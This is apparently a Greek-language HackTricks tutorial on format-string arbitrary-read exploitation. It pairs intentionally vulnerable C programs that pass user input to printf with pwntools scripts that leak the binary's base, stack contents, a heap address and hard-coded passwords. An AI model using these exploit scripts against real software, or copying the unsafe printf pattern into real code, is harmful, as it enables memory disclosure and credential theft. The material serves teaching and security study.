Format Strings - Arbitrary Read Example

Υποστηρίξτε το HackTricks

Διάβασμα Αρχής Δυαδικού Κώδικα

Κώδικας

#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

Μεταγλωττίστε το με:

clang -o fs-read fs-read.c -Wno-format-security -no-pie

Εκμετάλλευση

from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())
  • Το offset είναι 11 επειδή με την ρύθμιση πολλών Α και brute-forcing με έναν βρόγχο που μετακινείται από 0 έως 50, διαπιστώθηκε ότι στο offset 11 και με 5 επιπλέον χαρακτήρες (στην περίπτωσή μας pipes |), είναι δυνατόν να ελεγχθεί μια πλήρης διεύθυνση.

  • Χρησιμοποίησα το %11$p με επιπλέον γέμισμα μέχρι να δω ότι η διεύθυνση ήταν όλα 0x4141414141414141

  • Το φορτωμένο string μορφοποίησης είναι ΠΡΙΝ τη διεύθυνση επειδή το printf σταματάει την ανάγνωση σε ένα μηδενικό byte, οπότε αν στείλουμε πρώτα τη διεύθυνση και μετά το string μορφοποίησης, το printf δεν θα φτάσει ποτέ το string μορφοποίησης καθώς θα βρει ένα μηδενικό byte πριν από αυτό.

  • Η επιλεγμένη διεύθυνση είναι το 0x00400000 επειδή εκεί ξεκινάει το δυαδικό (χωρίς PIE)

#include <stdio.h>
#include <string.h>

char bss_password[20] = "hardcodedPassBSS"; // Password in BSS

int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];

printf("Enter first password: ");
scanf("%19s", input1);

printf("Enter second password: ");
scanf("%19s", input2);

// Vulnerable printf
printf(input1);
printf("\n");

// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}

return 0;
}

Μεταγλωττίστε το με:

clang -o fs-read fs-read.c -Wno-format-security

Διάβασμα από τη στοίβα

Ο stack_password θα αποθηκευτεί στη στοίβα επειδή είναι μια τοπική μεταβλητή, οπότε απλά καταχρώντας το printf για να εμφανίσει το περιεχόμενο της στοίβας είναι αρκετό. Αυτό είναι ένα εκμεταλλευτικό πρόγραμμα για να διαβρεί τις πρώτες 100 θέσεις για να διαρρεύσει τους κωδικούς πρόσβασης από τη στοίβα:

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

Στην εικόνα είναι δυνατόν να δούμε ότι μπορούμε να διαρρεύσουμε τον κωδικό πρόσβασης από τη στοίβα στη θέση 10η:

Διαβάστε δεδομένα

Εκτελώντας το ίδιο εκμεταλλευτικό πρόγραμμα αλλά με %p αντί για %s είναι δυνατόν να διαρρεύσουμε μια διεύθυνση σωρού από τη στοίβα στο %25$p. Επιπλέον, συγκρίνοντας τη διαρρευσμένη διεύθυνση (0xaaaab7030894) με τη θέση του κωδικού πρόσβασης στη μνήμη σε αυτήν τη διεργασία μπορούμε να λάβουμε τη διαφορά των διευθύνσεων:

Τώρα είναι η στιγμή να βρούμε πώς να ελέγξουμε μια διεύθυνση στη στοίβα για να έχουμε πρόσβαση από τη δεύτερη ευπάθεια της δεύτερης συμβολοσειράς μορφοποίησης:

from pwn import *

def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

for i in range(30):
p = process("./fs-read")

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

password_addr = heap_leak_addr - 0x126a

print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"

p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()

Και είναι δυνατόν να δούμε ότι στο try 14 με τη χρήση του passing μπορούμε να ελέγξουμε μια διεύθυνση:

Εκμετάλλευση

from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()
Υποστηρίξτε το HackTricks

Last updated